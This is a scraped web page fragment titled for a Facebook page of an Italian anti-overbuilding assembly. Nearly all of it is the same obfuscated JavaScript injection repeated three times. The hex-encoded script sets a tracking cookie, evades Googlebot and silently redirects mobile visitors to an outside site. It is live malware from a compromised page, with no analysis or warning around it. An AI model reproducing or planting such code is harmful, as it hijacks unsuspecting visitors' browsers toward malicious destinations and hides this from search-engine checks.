facebook: Assemblea contro la cementificazionevar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}